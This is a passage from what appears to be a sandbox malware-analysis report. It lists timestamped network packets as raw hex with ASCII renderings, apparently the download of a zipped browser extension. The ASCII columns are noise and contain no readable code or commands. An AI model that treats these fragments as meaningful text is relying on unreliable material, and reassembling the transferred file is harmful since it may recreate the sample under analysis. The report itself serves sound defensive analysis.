66 1c d7 43 33 d7 c1 a6 54 49 74 ca 43 4a 11 66 4e 74 12 fc 2b 64 3d 40 1d c6 44 0f a8 87 1c 72 3d 95 84 c9 5f 8b 11 f3 
42 e1 09 14 a1 22 05 65 da 71 f2 9c 3c 72 66 3e 63 5f 39 f9 fc 47 39 40 20 84 4f 00 02 0c 0d f3 a5 e0 7f 1c 0d 0a 76 cc 21 
41 30 b9 3d 05 47 75 a5 98 65 3f 8b 99 f9 05 7f e1 10 bb 65 7c 12 a9 0a a2 20 3a 12 e6 0c 3d 7b a4 02 20 38 36 28 19 67 
94 00 2d 90 34 f9 40 57 e8 16 22 8e 86 28 23 c5 55 40 27 1c a8 22 06 64 48 c7 66 33 b6 28 9b 3f 27 c8 c7 a7 b7 a0 8d f9 
51 bf 3e 62 03 97 d5 0d 5c 9b 93 2d de cd 30 65 d3 19 b3 84 bb e3 c6 7e 02 7d 87 d6 fe 02 04 ff 3f 5d 9e 1a fc 1f 36 f9 2a 
8f 11 02 03 c8 ea a8 8e c3 a7 65 7c 20 70 34 c0 08 
Data Ascii: qmFkr-ek`BKBRfC3TItCJfNt+d=@Dr=_B"eq<rf>c_9G9@ Ov!A0=Gue?e| :={ 86(g-4@W"(#U@'"dHf3(?'Q>b\-
0e~}?]6*e| p4

Timestamp
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2021-11-25 16:27:48 UTC 653 IN Data Raw: d9 c3 27 99 82 1a 71 d9 5b 0c 75 e2 a2 d4 08 96 4a 28 79 ad 02 59 7f 90 9d 7f d7 2a 18 8e 51 a9 14 0d 65 93 
92 4c 87 e0 43 d7 e3 9b 49 6f 30 09 38 b1 a1 e9 48 1f c2 d6 2a e2 f9 dd bb 0f 28 11 96 bc 83 58 ab a4 15 f8 a3 31 7a 15 
27 7c 81 04 75 e9 33 c0 5a 55 68 15 34 a9 65 2f 8c d4 6a 00 71 fd 00 f4 41 9d d6 35 2f d9 1b 39 32 75 45 ff 7a 05 57 25 0f 
af ea f5 b4 06 41 f0 3b 6d 66 b2 17 52 eb 95 c8 c0 59 f2 46 d2 2b 0a 06 88 15 dd 08 7d a8 56 af e2 43 30 b8 a3 84 40 72 
ba 54 af a2 a6 43 c8 1e fb be a2 44 d2 21 64 8f 70 ea 35 14 d4 84 b6 5d fa 1a eb 2b 3a 46 e0 9b 34 65 65 4f a4 ea 95 8c 
bb 0f fe a8 71 2b 4b 32 d9 b3 00 99 a2 8f bd 31 26 f4 ee f0 41 52 3e 92 77 b4 8e 54 dc fa dd 1b 50 97 49 d8 f5 51 36 f7 c4 
02 d9 69 ae 54 fc 1e d5 46 a9 93 e4 5d 08 89 74 39 
Data Ascii: 'q[uJ(yY*QeLCIo08H*(X1z'|u3ZUh4e/jqA5/92uEzW%A;mfRYF+}VC0@rTCD!dp5]+:F4eeOq+K21&AR>wTPIQ
6iTF]t9

2021-11-25 16:27:48 UTC 655 IN Data Raw: 72 03 cb b5 4c 12 a4 51 01 e8 dd 94 5f f3 ac dc ec 93 74 5d 01 fb 97 79 a1 2d 93 0c 18 84 69 48 6e b8 cd 8b 85
74 e9 03 c7 75 dd b3 2c 0f 1e 4d cb b2 4c 02 a2 49 3d d2 d0 6d 03 a0 ef 05 00 73 c3 03 e0 12 98 db 22 e7 41 4d 62 bc 85 
2d f5 5d d7 74 7d db d0 2d 1d 56 74 3c 67 ae 42 ab d6 e9 6d b2 61 0f 2c 5d 08 02 f8 fd 1e d3 3e 43 22 de b1 0f 59 fe 7b 
91 6c 79 1c 4c b7 76 6b 05 d8 6e cf 77 e0 d6 40 40 6c 8a b6 7b 14 9b a4 3c 69 62 81 a7 4c ee c1 0b 30 9b 40 31 f3 10 7b 
58 0f b6 91 b4 a6 81 c5 3a 81 15 f0 6d 22 01 99 80 56 9f f9 68 9b ec 4a 26 2d 1d db d4 6d 3c 04 1c a9 5b 16 e6 48 1e 33 
60 eb 7a a8 0b 76 07 48 62 5e 2e 42 19 04 d6 f1 d0 e1 95 18 69 eb 20 ab 00 fc e9 21 9c a0 50 97 ee 4f 74 b6 cd cb 4a fb 
0e db bd 5a 16 58 f4 f7 1f 1a 53 be 6a c3 d0 03 93 97 
Data Ascii: rLQ_t]y-iHntu,MLI=ms"AMb-]t}-Vt<gBma,]>C"Y{lyLvknw@@l{<ibL0@1{X:m"VhJ&-m<[H3`zvHb^.Bi !POtJZXSj

2021-11-25 16:27:48 UTC 656 IN Data Raw: 78 48 93 55 23 33 ca 63 11 53 34 ee 7d 97 9f 2e 01 81 7d 7e 5c e3 5a a4 22 7e d0 f8 39 d1 2a 01 0a 36 71 72 
6d 7e b0 66 da 0e f8 1d 1b ee d0 46 73 c2 9b 1e 21 85 88 08 ba ff f3 db 72 3a df 3f af 2b 77 1d df 09 80 58 ae 01 78 40 b9 
01 25 68 0b 59 53 ed 42 66 80 b4 73 0d b4 42 7e 00 05 60 42 79 e9 8a 9d 89 90 4a 8b 3a 0f d1 a1 5a d0 5b 56 00 84 43 
ce f8 81 4e 9b ff 05 d2 aa 7c 29 9a 2e ab 12 48 e1 02 8a 0a a5 d8 08 2a 8e 49 bc 40 9e 55 d7 0b eb f5 eb 66 22 63 0b a1 
f3 35 f4 10 7c 8f e5 6e 1d e2 42 51 43 86 e8 d4 b9 c4 28 d7 95 c8 87 67 91 7b ae 5d f0 53 ce fc 61 55 17 c1 6b 01 cc fb 66 
a1 91 12 0e 2e 7c 42 7b de 05 ad 0e a5 b0 54 2e 98 0a 9f 43 9d ce 01 e4 08 f4 1e 57 a9 80 39 28 40 52 c0 37 1c d7 9a 20 
7b 06 b2 01 35 a0 03 6a 11 65 1d 7b a5 a8 de 8a f7 3f 
Data Ascii: xHU#3cS4}.}~\Z"~9*6qrm~fFs!r:?+wXx@%hYSBfsB~`ByJ:Z[VCN|).H*I@Uf"c5|nBQC(g{]SaUkf.|B{T.CW9(@R7 
{5je{?

2021-11-25 16:27:48 UTC 657 IN Data Raw: e9 84 e3 2e df a9 5e 3c be 0e 55 a5 a8 ba 79 53 f9 ea c5 83 48 c0 cb 1c 95 3d 50 90 8f ea 5c 47 e5 48 f8 68 21 
79 45 ff a9 72 31 08 a9 fc a2 ef 88 a8 2c 87 57 14 e2 e9 7d bb ca 72 1c 71 80 55 ac 5b 75 89 a5 72 d0 62 ae 7a 17 a2 cd 
5c 94 1a c1 52 85 2c 6f 75 a0 e2 07 d5 51 78 ab 83 c9 0c 95 4a d1 50 d5 14 a9 7c 08 3d f4 71 76 31 1f 8e e7 11 17 36 34 
1d e9 fd 6d ab 23 9e df c3 9b 88 0a 61 c5 3b 8c ad 4e 7a 51 38 9d 81 ab b8 e0 8b 14 a8 4b 6f 0e 5b 5d 81 2a 68 52 ab 5e 
31 69 f5 00 e1 fa 0b d0 07 75 da 46 5e aa 17 7d 54 ee 24 7f bd 81 ab 8a eb ac 76 3f bd 71 14 fd 46 c9 4c f5 0e 6b bb 13 
15 38 2b 5e 76 7a c3 c1 18 7b 45 17 42 6f d9 da 5d fc 12 8d af a8 20 50 9c 20 b5 bb 68 61 08 d5 15 f1 1b 4e 14 0c a1 ba 
d4 69 f7 20 a5 09 a5 5d fa e6 eb 1b 3e a6 d0 9b 34 65 
Data Ascii: .^<UySH=P\GHh!yEr1,W}rqU[urbz\R,ouQxJP|=qv164m#a;NzQ8Ko[]*hR^1iuF^}T$v?qFLk8+^vz{EBo] P haNi 
]>4e

2021-11-25 16:27:48 UTC 659 IN Data Raw: f3 56 55 99 57 fd 4c 95 08 e9 ce 99 b2 41 02 b3 2c 7d ca ca 25 cb 5f b3 fe 7b 6d 91 3e 3d 55 5b 32 4d 60 9a aa 
21 57 3a 90 c7 56 05 9c be c8 d8 4c 39 51 66 0f 15 b2 e9 c8 ae aa 01 d6 3d 44 c0 33 6c 43 17 22 76 07 08 5d 44 0f 6c f5 
18 25 71 c9 e2 92 c3 74 19 dd e3 74 cc ce ee b7 39 8b b6 f4 b1 f2 e7 02 e9 55 d5 31 0c 07 ee 74 c3 30 f4 43 7f 1f a2 7a 
a4 a6 9a 1a 68 c1 f1 80 f0 9a 03 14 16 92 3b 2f 36 2c a9 73 6b 20 b9 ae 6d eb b6 6b 6a aa a1 c2 4a 18 df d4 8f 52 94 58 
55 fa 79 0b ec b0 6b 63 c3 43 92 1d d7 82 b1 86 3d 9b 02 c6 7e c8 b6 8f 88 66 f9 98 65 79 b5 17 ac dd 76 74 f2 e1 78 98 
d5 93 ad 30 e5 67 8d 8f 36 51 aa ba 86 5d 59 9e e1 51 22 84 9d f7 69 f4 7d ce 56 cd 96 2c 53 57 4d b8 07 4f aa 86 81 f5 
09 13 f4 18 ab 87 da a0 73 e0 22 56 64 23 58 9e 67 08 
Data Ascii: VUWLA,}%_{m>=U[2M`!W:VL9Qf=D3lC"v]Dl%qtt9U1t0Czh;/6,sk mkjJRXUykcC=~feyvtx0g6Q]YQ"i}V,SW
MOs"Vd#Xg

2021-11-25 16:27:48 UTC 660 IN Data Raw: 57 44 c5 55 2d 15 50 dc 5e 0e c8 ed f9 75 65 e6 00 5d 11 43 62 2a ec 4b f7 2c 61 67 97 11 68 bb 54 8a 6c 5d 
a9 4d 68 41 e8 4c 4b 43 f4 81 ca 60 1c 53 28 a3 61 c2 c0 1f f5 68 d4 9a 8e 55 e1 a8 b8 26 f2 ae 09 5b fe c0 b8 b8 42 dc 
a2 67 f4 22 54 e4 c9 b9 67 8d 32 ae 72 61 ab 28 42 e8 77 48 51 0f 11 44 1d 09 0e 29 ef 35 95 f3 c4 d7 14 51 90 4f 9e 6b 
e4 1e 78 ad 44 b5 00 7c a1 2a f6 18 be 99 d0 b5 e9 26 09 10 ea d2 4d 8c 6d 08 e5 ff 93 72 0b 5c 8b eb ab 30 db a4 0b 33 
dd b4 c0 c3 c8 b7 25 b6 8e 17 90 6e 5c cb bd 50 20 d9 e6 7b b7 d8 e2 4a bf 5f 87 6d 5b ae e5 01 90 6c 0d 18 80 33 05 28 
90 32 ec 82 d5 24 5d 75 46 b6 ad a1 bf 71 3d 90 b3 0e 85 a4 4a b2 c1 cd 78 33 00 76 5e 91 5e ad a8 19 8d a6 01 71 64 
78 80 33 54 91 eb a9 42 62 ee 60 05 ec db 3e e2 b4 bd 55 2e 
Data Ascii: WDU-P^ue]Cb*K,aghTl]MhALKC`S(ahU&[Bg"Tg2ra(BwHQD)5QOkxD|*&Mmr\03%n\P {J_m[l3(2$]uFq=Jx3v
^^qdx3TBb`>U.

2021-11-25 16:27:48 UTC 661 IN Data Raw: 04 27 9f 02 91 ac 24 8f 48 b9 dd f0 62 72 0e 40 46 f5 8e fa e0 9a a1 00 5f b2 ab fd c6 12 91 02 da 74 83 5e 28 
22 96 ec b1 c4 4b bb 51 78 1d 60 c1 c2 c1 93 dc 1b 35 86 d7 9c cd 7a 41 67 54 af 5a 88 8f e4 dd 9d 3d e3 1d 42 56 bc ec 
77 3a c1 cd c8 7f 7f 25 9c 1d d9 a5 5a bb 9f 8b 7e 5f 58 89 4c 34 b6 7b b8 09 06 e7 d8 95 b0 1d c9 3b 40 af 38 e9 f7 05 06 
93 08 e7 76 07 e3 5e 08 a9 70 75 15 5e 84 92 98 c8 9e 8c c8 7c 75 c3 61 c7 1f 74 29 53 e7 e1 e0 da 97 1d 45 d9 e3 32 
99 af f3 b0 17 70 78 99 e0 64 f7 24 e4 23 bb da 91 39 e2 3e 5a 48 5e d2 72 ca 5c f4 7c 51 7e 89 af 7e c8 2c fb 1f 45 88 17 
1f ad cb 2c 07 01 01 ac 64 df b2 a7 4d 32 07 2d e6 b2 17 1b da cc f9 51 13 b0 54 a2 c4 5b 1d c8 f8 41 76 23 de ea 60 38 
c6 49 15 d1 50 d6 08 c9 7c 70 3d f4 7e 7c 31 e9 0f 
Data Ascii: '$Hbr@F_t^("KQx`5zAgTZ=BVw:%Z~_XL4{;@8v^pu^|uat)SE2pxd$#9>ZH^r\|Q~~,E,dM2-QT[Av#`8IP|p=~|1

2021-11-25 16:27:48 UTC 662 IN Data Raw: 36 d9 5c 64 f9 d3 53 34 8d b0 b8 ab 30 9c 3d b2 29 b9 2a 43 80 0a b1 1c 4b 37 f1 4c c7 d0 55 c7 d6 84 94 eb 
24 33 b6 5d 26 bb bd b2 c4 44 63 cc a9 f8 f8 a7 77 51 1a 64 ed f7 76 41 af 76 41 32 4b e9 2e 1c c7 fe 7f 18 22 cb d3 0c d5 
b3 54 d7 d5 4d 4f d7 34 01 47 5a 71 be ca 17 d5 68 cf b4 1d 15 05 89 2a 76 5c d5 33 4c 19 ea cc 12 e0 6b b1 e7 26 ba 07 
03 d5 03 de 59 b6 ae c3 44 40 e6 6f 7d c4 28 68 07 08 d2 68 78 be 59 e5 29 5b 9d 27 4f 4f 59 b8 fd a8 29 3f a9 df 3e b3 
78 9e e4 db 97 9f b4 fa a3 82 5d fa d6 1b 5c b7 ba c1 6f fe e0 e5 e5 27 bd e1 17 25 52 16 61 56 00 d2 f0 df 59 5c c1 7a 92 
25 1c 27 ac 97 a7 70 f7 fb a6 7f 2f 2d d8 3a 7a 59 b3 78 ff 67 c6 27 db e7 30 fd 23 06 51 1c 13 05 c1 6c ff f2 c2 23 67 9a 80
57 55 43 52 e8 40 40 5b 15 c8 a6 43 84 a0 7c 
Data Ascii: 6\dS40=)*CK7LU$3]&DcwQdvAvA2K."TMO4GZqh*v\3Lk&YD@o}(hhxY)['OOY)?>x]\o'%RaVY\z%'p/-:zYxg'
0#Ql#gWUCR@@[C|

2021-11-25 16:27:48 UTC 664 IN Data Raw: 96 b7 59 96 6e d8 b5 cc b7 a0 03 01 74 ba eb a0 5f 07 48 59 9a 90 c7 1d 82 95 6d 08 92 ab 32 c2 70 2c 8b 3a 
70 cb 83 74 83 1c 10 55 58 89 ce c4 b8 db f8 20 43 3f 77 2a 6b 08 2f 3c d4 85 06 83 30 81 82 11 f2 e9 a6 d2 94 a8 de d7 
0e 1c bb b4 45 26 67 6c 4d 7f a3 70 1a 29 0f d1 8f 57 55 4e 9b a6 aa 62 52 50 86 58 83 03 61 29 48 e2 5f 48 38 20 ad 00 
ff 05 5b e4 c7 ca f0 6d 76 64 c5 cf 95 4f 78 f5 5c a8 32 0b b0 04 f1 23 b8 ec 9f 24 95 52 a1 cf ae f2 7b 28 01 2e 4a a0 7a 
c0 3f 34 0e 45 bd 55 92 c7 03 ed 44 3b 22 68 e2 b6 fd fa cd e9 50 1c e5 17 d5 64 6c 74 e4 26 34 27 88 49 a7 4f 02 25 d1 
02 95 35 36 2a ad f5 cc e5 78 70 5b 51 a5 a9 9f 94 c0 be 5e 24 34 24 b6 07 f0 05 6d 07 51 eb 09 4d d8 43 c5 b5 ab 68 71 
ac 7d c2 c7 7c 9e f0 6a fb ae 80 84 99 62 09 df 73 9f 
Data Ascii: Ynt_HYm2p,:ptUX C?w*k/<0E&glMp)WUNbRPXa)H_H8 [mvdOx\2#$R{(.Jz?4EUD;"hPdlt&4'IO%56*xp[Q^$
4$mQMChq}|jbs

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 665 IN Data Raw: 87 b4 a6 53 27 b2 96 4e 70 d2 09 3a 93 6e 6f 34 19 0d 84 65 c8 c4 a9 60 7f e5 fb 9d 4f ad f6 cd c4 bf 6b 05 b7 
93 ab c0 bf ed 9c 3a 92 5d 11 34 3b ba ea 0d ee 26 1d 7f d8 1e 04 7d e9 b2 24 e7 45 cd de 3e fb ad 8e 3f 38 f5 21 13 6b 
cd 3e fa 83 de 5d 7f 24 84 47 ec 75 9a 5d 0c fc 5f c7 c1 c0 17 42 23 6b b1 9a bd 8c be f4 fd 77 b6 5b 3c a2 10 5c dd 05 83 
41 6f 10 74 af eb dc 9d 0c c7 9f 28 46 f8 27 21 8d 25 ec 29 38 ec fa a3 87 de e0 06 79 74 75 e5 0f 28 1d 1f 82 ab 40 88 b7 
44 12 35 ba 6a 5a a0 ec 4d 9b 46 27 c3 d6 9d 2f 9d 8a ec 78 a8 d1 cb 03 ed d9 a4 df 16 42 23 92 9d e8 a3 77 6a 25 bb 7f 
13 cc fa 83 e0 be d5 fe 32 e9 b4 46 ad c9 78 d8 ba f6 25 e5 24 5c 97 09 6e 86 24 3d e4 e0 22 e3 17 b9 fd 6d ef 5a 80 47 
49 47 22 31 1e 8d fb 93 fb 60 18 7c 0a ca 24 6b 
Data Ascii: S'Np:no4e`Ok:]4;&}$E>?8!k>]$Gu]_B#kw[<\Aot(F'!%)8ytu(@D5jZMF'/xB#wj%2Fx%$\n$="mZGIG"1`|$k

2021-11-25 16:27:48 UTC 666 IN Data Raw: b4 64 f5 60 db b0 6d d7 76 4c 6e 20 d3 33 0d c7 3e 1d 3c 64 c5 92 a5 55 e3 2c 57 85 2d 75 c7 b4 2d d7 33 2d 
47 73 88 6f 6f f3 f5 6e d3 48 77 2d d5 f0 1c 4b 85 dd 75 55 57 0d 97 a8 c2 f7 32 f7 14 18 ba ac ad 72 cf d6 0a cb b0 cf aa 
48 0a 38 7c a7 f4 ee 8a 7c c3 e6 49 59 61 ab ca b3 f1 c4 1f 4d 66 d7 61 f4 fe 59 b2 dd 2a 57 79 be 5a 33 e5 1d 86 3c 0b 
a2 7e fd c3 9b 76 d8 78 e8 47 cf 7e 12 3f 88 c7 33 68 b5 5d 27 73 76 97 af 17 ac 28 85 3a ed 34 f1 07 5f 19 c6 e4 ba 3d 
d3 c4 2e da c9 e4 67 5d fc fc a8 0f 19 60 1c 0c 90 4a 30 cf 1e 1e 3a 0c 35 db de 9d da ea e7 cb e4 1f 9f 77 4c 55 d5 9f 2f 
cb 6d 92 b5 7f 24 ca 5d c1 96 af 3f 9f dd 55 d5 b6 7c 75 79 59 ee b6 db bc a8 2e 56 c2 36 17 f3 7c 73 39 df 1b f1 32 c9 ca 
af ac b8 d4 3d 91 a4 9f cf 94 2a 29 56 ac c2 fc 
Data Ascii: d`mvLn 3><dU,W-u-3-GsoonHw-KuUW2rH8||IYaMfaY*WyZ3<~vxG~?3h]'sv(:4_=.g]`J0:5wLU/m$]?U|uyY
.V6|s92=*)V

2021-11-25 16:27:48 UTC 668 IN Data Raw: 58 16 c0 f8 54 83 30 e3 bd d7 3a 5d ed 57 ae 67 3a bc 94 42 69 0b ff 18 0e f0 8f 78 6d 6f 88 36 7e 4f fd 5f 9b 
45 94 a1 bd 5e 07 05 08 e5 03 f0 8a a0 40 fd f6 2c c3 74 89 75 c6 5d 2e 6e 32 5b 88 41 35 37 0d db 44 77 64 a1 41 72 0c 
8b 5a f9 a8 db b1 54 9d 37 50 ae 89 02 02 ea a4 9a 36 09 ae 31 db c9 20 a9 55 20 dd 70 22 2e 48 48 8b 3c 9b 63 e4 39 
c0 ee 0b 65 c8 33 71 ef cd 47 d0 e2 18 71 02 f3 c8 f1 72 87 26 18 d2 0e 5b a2 1e e3 8d 93 80 69 9f af f6 d8 13 5d fc 37 bd 
cf 13 cd 4d cb 96 25 46 7a ba 77 f9 8b ed 0a 4a d2 0e 66 00 7b 06 78 8a b6 c5 d2 0d bb a5 cb 16 68 19 80 47 77 1d 74 bb 
00 0e 4b 23 c1 e7 cf e1 d0 da 39 6d c8 22 4c 2d 8b f7 b1 96 07 26 85 5a 4d 69 11 9f b0 30 2a 14 1e e5 79 b2 ae 38 6f 5b 
a6 59 7a 14 5f 2f 1a 61 e0 45 50 03 9d b6 0d ee 00 92 
Data Ascii: XT0:]Wg:Bixmo6~O_E^@,tu].n2[A57DwdArZT7P61 U p".HH<c9e3qGqr&[i]7M%FzwJf{xhGwtK#9m"L-&ZMi
0*y8o[Yz_/aEP

2021-11-25 16:27:48 UTC 669 IN Data Raw: 3e b8 1d 46 22 f4 51 52 d7 e2 a0 8d bf e6 5d f2 b7 7f 9d c3 2f 05 fb 9a ac c5 0f 65 be ac be 26 05 53 22 7f 8c 
7a 59 22 8d e0 c9 ba 39 e0 37 2a 8e ea ba 86 0b 3a cc cf ac 28 09 7f e2 a4 e5 e9 f3 8b 83 43 15 c0 6c 5a f2 9b b5 45 c3 
50 6f 82 7e e8 cf 46 f1 74 12 8c 66 7e bf 1f 4e c2 38 f2 af 67 bd f8 e6 26 88 26 e3 53 25 64 57 66 54 ce b4 1f c6 b3 0f 53 ff 
3a 9c 7c 3a 95 20 43 34 22 a1 e7 47 bd e0 7a f6 76 3a 99 c4 11 d5 81 de 45 51 09 71 34 c1 06 a0 45 30 e6 7b 3a 15 22 
6b f3 88 90 7e d8 9f 45 f1 64 36 19 91 6d c8 38 27 99 3f 08 82 fe 5b bf f7 7e 16 dc f8 e1 f5 6c 10 06 d7 fd 53 41 b2 b3 fd 6e
41 83 78 74 33 eb 07 e3 de 28 1c 4a b7 25 39 1b ea 96 f6 2e f0 fb c1 e8 54 86 8c 71 75 cb 18 8e e2 9b e1 84 98 87 f6 2f 
dd 22 46 c1 87 69 38 0a 88 69 64 ed 53 b7 94 
Data Ascii: >F"QR]/e&S"zY"97*:(ClZEPo~Ftf~N8g&&S%dWfTS:|: C4"Gzv:EQq4E0{:"k~Ed6m8'?[~lSAnAxt3(J%9.Tq
u/"Fi8idS

2021-11-25 16:27:48 UTC 670 IN Data Raw: a2 6c 49 ac dc c6 29 55 72 8a 41 ba 76 4b 49 45 94 92 bc e6 33 61 0e db 75 6c d3 56 0d cd 53 1d eb 78 a2 21 
74 65 3b 9a c7 39 25 98 b0 d8 65 5f e3 32 be a7 49 96 37 1a 4c dd 35 b1 48 1b c2 ae a6 db 8e a1 89 b6 26 71 49 4a c8 
e7 74 dd 2e 34 56 ee e3 35 cd 56 49 bc ab 92 8a af db d2 75 cd 54 6d d7 30 34 68 54 0d 4b d4 95 a5 f4 4b 5c a5 50 96 56 
4a f1 82 28 45 49 6e 63 4c 70 a6 40 b5 ba a2 e9 8a e6 2b d2 ac 35 66 2e 52 d2 ac 3a e3 fa 2d d5 53 31 81 e9 68 aa ab bb 
9e e5 f6 ec 4a 12 a7 8d a1 8d 9c 6d d8 b6 6b 3b 26 73 95 e9 99 86 63 f7 c8 c1 51 1b ba 2a f7 65 5d 15 1e d6 1d d3 b6 5c 
cf b4 1c cd 11 22 e1 26 4b aa 2d 1f 6c a9 86 e7 58 2a 36 43 57 75 d5 70 05 03 07 1f f3 6c 4b 57 a4 28 ab 44 59 df 17 67 
0a d9 b1 99 d9 e2 29 4d 95 67 b3 b9 3f 9d 2f af c2 e8 ed 33 
Data Ascii: lI)UrAvKIE3aulVSx!te;9%e_2I7L5H&qIJt.4V5VIuTm04hTKK\PVJ(EIncLp@+5f.R:-S1hJmk;&scQ*e]\"&K-
lX*6CWuplKW(DYg)Mg?/3

2021-11-25 16:27:48 UTC 671 IN Data Raw: 91 2d 86 a4 4d 49 ab 36 92 5b a5 09 e9 d6 f4 9a eb b1 c1 d8 2d 83 65 b0 aa 5b 06 83 cd 23 3d 41 ce 9a 93 66 
b4 0e 80 00 c7 37 1d 17 18 61 9b 9a 2b e4 e7 0c ae 5f c5 8c d4 90 da 4f 58 07 fd ca f6 0b 1f 37 08 30 74 12 c5 2e 4e b9 bf
10 9d 8d 3b 4a ba 2b 3b 2b 39 54 11 34 49 b4 51 d2 82 17 6b 10 0e 3b 03 d3 02 3c b8 e8 b3 f4 ba 23 b2 5c 11 71 a2 a6 
dd d8 55 25 d0 b1 01 9d 92 fc 85 a6 83 71 24 d4 68 4f 37 2c 40 84 e5 a9 32 d5 75 9a 70 e8 ad 2b 4f ca d2 a4 99 0b b1 79 
c7 6b 3f eb 72 50 ba e2 cd 23 ab c7 c8 83 1c db 5f 63 8f 3d 20 4b ba 63 98 9e 87 1e c8 b2 80 06 82 3d 94 f9 2c 89 ef 62 
74 56 8d 90 c3 70 1c d6 5b f8 63 38 28 ac c2 06 8f 3a 50 3b 32 be a9 57 67 ca 8c 3e 1a 47 f2 96 41 b4 b6 71 20 04 7e a1 
7a 23 8a 40 21 3c cb 30 5d c1 59 fb a1 81 7a 7d 50 2d 1a 
Data Ascii: -MI6[-e[#=Af7a+_OX70t.N;J+;+9T4IQk;<#\qU%q$hO7,@2up+Oyk?rP#_c= Kc=,btVp[c8(:P;2Wg>GAq ~z#@!
<0]Yz}P-

2021-11-25 16:27:48 UTC 673 IN Data Raw: 45 d6 64 bf 09 42 6f ce 4a ae eb 82 be d8 aa 83 2e 4a 72 2d c8 8a 64 dc f5 1e ab ce 84 bd d3 ae 1f 8b 75 12 
ab 7f 1c d8 81 a2 1a ac 5e ba 86 0d 52 e3 99 9e 00 3e 72 7a e5 82 1c 82 81 9a 1a f8 08 a3 41 a6 2c ea 77 fb b7 b7 ac 1e 
6e e2 fc 54 89 49 be 9f 07 3b ba d7 06 b8 60 7a 1a 9a 67 0d 80 08 54 74 10 09 3d f6 74 0d 2a 97 43 9b a4 59 9e 81 0e df 
05 39 b6 75 f1 f2 a9 db e9 fa 02 b7 11 83 df 3d 64 ae ad 69 96 aa b2 58 13 ef 2d 9b 59 aa f2 e0 dc dc 75 54 9b 9d 45 a8 
ac 53 37 c1 11 4c c1 6f d7 55 d2 48 54 5b b4 cd bc 96 ec d1 2a 7e bc 50 ab f3 18 c7 c5 de 6b e8 33 f1 d1 05 b5 eb c1 85 
4e 43 23 a7 e9 aa 87 dc b7 59 ed b1 d8 31 b4 c8 1d 62 25 6b 88 e5 1e c8 62 3b 77 ac 59 6f a1 0a 75 e6 66 12 9d b2 fa f0 
e5 df a7 6c 9b e8 67 92 24 35 ce 57 a9 52 64 9b f2 33 73 
Data Ascii: EdBoJ.Jr-du^R>rzA,wnTI;`zgTt=t*CY9u=diX-YuTES7LoUHT[*~Pk3NC#Y1b%kb;wYouflg$5WRd3s

2021-11-25 16:27:48 UTC 674 IN Data Raw: 72 75 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 
00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 72 75 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 
d5 5c 7b 6f 1b b9 11 ff 2a aa 9b 3f 2e 85 e3 f0 b9 4b a6 77 3d 28 d6 da 51 63 4b ae 1e 0e 52 18 10 64 59 4a 82 26 76 6a 
3b 38 14 07 7f f7 ce ee 72 a3 a1 66 28 c9 8e 93 c3 21 80 22 6b 97 43 72 38 f3 9b e7 ee ef 3b 52 48 e7 9d b1 99 34 ce 59 
25 ac cc 77 5e b4 7e df f9 34 bf b9 99 be 9b c3 f7 9d b3 2f c2 c8 bc fc d4 a2 fa 54 d5 a7 2b 3f 8d 44 bf 5f a0 df 17 3b 77 bb 
ad 1d a9 a4 f6 36 f7 4e e5 4a bb dc 7a 25 58 ea 53 44 a5 fe 3e af 3e 7d 6b 49 52 e7 2d 34 7b 75 af 11 e8 32 5a 83 51 88 
86 6a ad 2e 4e 67 d5 a7 c5 17 30 25 89 46 9f d7 b7 
Data Ascii: ru/PKPK)Q_locales/ru/messages.json\{o*?.Kw=(QcKRdYJ&vj;8rf(!"kCr8;RH4Y%w^~4/T+?D_;w6NJz%
XSD>>}kIR-4{u2ZQj.Ng0%F

2021-11-25 16:27:48 UTC 675 IN Data Raw: d0 bd c3 bd e0 c7 38 f8 4f 65 20 49 de eb f4 a1 ca 69 35 c6 08 88 f0 3c c4 f6 39 48 04 84 f7 59 42 64 c5 12 bd 
22 7c aa b5 c6 5c 2c 35 2c a8 fe 94 68 e4 1c b1 00 33 c2 93 78 ba d6 76 d3 c4 6a 3f a1 21 18 39 e5 52 a1 35 86 b9 b5 ee 
b0 9e 3f 7d d1 ec bc 14 14 29 85 57 a5 af a6 12 71 2e 76 bd 67 e8 8c 67 08 79 70 a6 c1 20 bf 3d ec 7c 86 16 17 21 cf 2e 
ce 93 e0 ac 20 ce 3f 26 39 86 25 2b ac 0c 5d 08 5e 63 80 e3 dd 26 d6 0c 21 22 62 20 ca d2 04 9b a1 a8 a6 a5 94 1f 1f 79 
70 56 71 a0 81 2f e3 19 6a d2 1e f1 e2 fe f1 c9 8b b3 cb b3 4b f9 b4 b5 3a c2 20 63 17 41 7c 14 4b 45 e8 4d 4e 66 bd ac 
62 da 91 96 a3 fc 62 93 63 70 98 d5 78 3a 8d 0e 3a 5a 4c 48 10 fc bd dc 9e 7a 4a b2 b6 eb 33 0e 41 8a 9a 54 c0 59 65 7f 
f7 21 d2 ad c8 e9 88 5b 73 b4 02 0c b4 19 3e 4d 74 38 
Data Ascii: 8Oe Ii5<9HYBd"|\,5,h3xvj?!9R5?})Wq.vggyp =|!. ?&9%+]^c&!"b ypVq/jK: cA|KEMNfbbcpx::ZLHzJ3ATYe![s>M
t8

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 86 of 214



2021-11-25 16:27:48 UTC 676 IN Data Raw: 23 b1 4f 91 8a 4b 4e ff 84 48 a1 ba 64 64 8e b1 41 c5 0e 24 4d 3b 2e 9e d6 4c c8 3c e8 97 f6 39 28 9c 13 56 
40 0c fe 98 80 7d 86 81 f5 e0 b8 9e 32 87 e0 15 54 bb cc de 80 e0 29 6f 79 d1 bb 40 5a 88 bd 4c ac 91 18 d1 b1 9f 43 8b 
12 4c 1f ea f6 95 ed 40 ae 5e be 2f 6b e8 56 02 40 41 00 ae 35 e0 d4 9a 5a 2b 8e 9a 70 1c 1c 4c 59 69 c1 14 f0 1e 4c b6 
03 97 5f 48 5e 04 99 fe ba b5 a9 e5 46 f2 23 e7 6d 43 fc 52 2b 45 26 c0 d8 49 f0 1a 64 ee 41 25 c0 72 f0 2b fa 86 84 e6 4a 
b0 f3 6a 7a f9 ee ea cb ed 0d ce 62 22 43 82 dd f7 14 56 c4 82 fd 67 c8 8b 87 40 a3 e1 b9 cb ca 07 26 20 7e 73 65 b7 7a 
